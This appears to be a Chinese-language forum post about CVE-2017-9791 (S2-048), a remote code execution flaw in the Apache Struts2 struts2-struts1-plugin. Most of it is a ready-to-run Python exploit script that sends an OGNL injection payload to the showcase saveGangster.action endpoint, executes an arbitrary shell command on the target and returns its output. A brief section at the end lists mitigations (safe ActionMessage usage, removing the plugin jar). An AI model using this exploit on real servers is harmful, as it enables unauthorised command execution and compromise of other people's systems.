2017年7月7日,Apache Struts发布最新的安全公告,Apache Structs2的strus1插件存在远程代码执行的高危漏洞,漏洞编号为CVE-2017-9791(S2-048)。攻击者可以构造恶意的字段值通过Struts2的struts2-struts1-plugin的插件,远程执行代码
由于插件默认不开启影响范围较小
exp:
[mw_shl_code=python,true]#!/usr/bin/env python
#coding:utf8
import sys
import requests
requests.packages.urllib3.disable_warnings()
def poccheck(url,cmd='whoami'):
result = False
header = {
'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',
'Content-Type':"application/x-www-form-urlencoded"
}
data="name=${(#o=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#o)(#c=#context['com.opensymphony.xwork2.ActionContext.container']).(#g=#c.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#g.getExcludedPackageNames().clear()).(#g.getExcludedClasses().clear()).(#context.setMemberAccess(#o)))).(#o=@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()).(#p=@java.lang.Runtime@getRuntime().exec('%s')).(@org.apache.commons.io.IOUtils@copy(#p.getInputStream(),#o)).(#o.flush())}&age=1212&__checkbox_bustedBefore=true&description=123" % str(cmd)
if 'integration' not in url:
url = url + "/struts2-showcase/integration/saveGangster.action"
try:
response = requests.post(url,data =data,headers=header,verify=False,allow_redirects = False)
if response.status_code == 200 and 'struts2-showcase' not in response.content:
result = response.content
except Exception as e:
print str(e)
pass
return result
if __name__ == '__main__':
if len(sys.argv) == 2:
print poccheck(sys.argv[1])
elif len(sys.argv) == 3:
print poccheck(sys.argv[1],sys.argv[2])
else:
print ("usage: %s http://www.xxxxxx.com/vuln.action cmd" % sys.argv[0])
sys.exit(-1)[/mw_shl_code]
临时修复方案
开发者通过使用资源调用方式替代原始值传递方式给ActionMessage的方式。 如下所示:
messages.add("msg", new ActionMessage("struts1.gangsterAdded", gform.getName()));
不要使用如下的方式:
messages.add("msg", new ActionMessage("Gangster " + gform.getName() + " was added"));
在非必要的情况下禁用struts2-struts1-plugin插件。将struts2-struts1-plugin-2.3.x.jar文件从 “/WEB-INF/lib”目录中移动到其他文件夹或者删除。
|